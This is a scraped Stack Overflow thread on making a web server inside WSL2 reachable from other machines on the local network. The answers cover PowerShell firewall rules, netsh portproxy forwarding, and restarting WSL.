None of the existing answers work for me, as WSL2 is running in its own VM and has its own network adapter. You need some sort of bridge or port forwarding for non-localhost requests to work (i.e. from another host on the same network). I found a script in <https://github.com/microsoft/WSL/issues/4150> that worked to resolve the issue: ``` $remoteport = bash.exe -c "ifconfig eth0 | grep 'inet '" $found = $remoteport -match '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'; if( $found ){ $remoteport = $matches[0]; } else{ echo "The Script Exited, the ip address of WSL 2 cannot be found"; exit; } #[Ports] #All the ports you want to forward separated by coma $ports=@(80,443,10000,3000,5000); #[Static ip] #You can change the addr to your ip config to listen to a specific address $addr='0.0.0.0'; $ports_a = $ports -join ","; #Remove Firewall Exception Rules iex "Remove-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' "; #adding Exception Rules for inbound and outbound Rules iex "New-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' -Direction Outbound -LocalPort $ports_a -Action Allow -Protocol TCP"; iex "New-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' -Direction Inbound -LocalPort $ports_a -Action Allow -Protocol TCP"; for( $i = 0; $i -lt $ports.length; $i++ ){ $port = $ports[$i]; iex "netsh interface portproxy delete v4tov4 listenport=$port listenaddress=$addr"; iex "netsh interface portproxy add v4tov4 listenport=$port listenaddress=$addr connectport=$port connectaddress=$remoteport"; } ``` Running this script from an elevated/admin Powershell session did the trick for me. This allows accessing the WSL2 service running on a port to be accessible from the Windows host IP at that same port.
I followed [the answer by @toran-sahu](https://stackoverflow.com/a/51998308/8917310) about adding an inbound rule to Windows Defender Firewall but recently (after adding a 2nd wsl2 instance) it stopped working again. I came across [this issue thread](https://github.com/microsoft/WSL/issues/4204) and running the following in cmd prompt got it working again for me. ``` wsl --shutdown ``` update: it seems this issue comes from having Fast Startup enabled <https://stackoverflow.com/a/66793101/8917310>
49,835,559
After installing Ubuntu as WSL(Windows Subsystem for Linux) I've run: ``` root@teclast:~# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 ... ``` and try to access to this web server from my windows machine `http://0.0.0.0:8000` or `http://192.168.1.178:8000` but no success, web server available only by the address `http://127.0.0.1:8000` or `http://localhost:8000` it means that I can't connect to this web server from another pc in my network. Is it possible to getting an access to WSL from outside?
2018/04/14
[ "https://Stackoverflow.com/questions/49835559", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1441863/" ]
**Avoid using firewall rules used in some answers on the web, I saw some of them create some kind of allow-all firewall rule (allow any terrafic from any ip and any port), this can cause security problems** Simply use this single line from [this answer](https://stackoverflow.com/a/70566842/11190169) which worked perfectly for me (just creates a port proxy): ``` netsh interface portproxy add v4tov4 listenport=<windows_port> listenaddress=0.0.0.0 connectport=<wsl_port> connectaddress=<WSL_IP> ``` where `<WSL_IP>` is the ip of wsl, you can get it by running `ifconfig` on wsl. Also `<windows_port>` is the port windows will listen on and `<wsl_port>` is the port server is running on WSL. You can list current port proxies using: `netsh interface portproxy show all`
I've tested on **Update for Microsoft Windows(KB4532132)** with reinstalled WSL and it works as expected. Seems the issue was related to old windows version or old WSL version.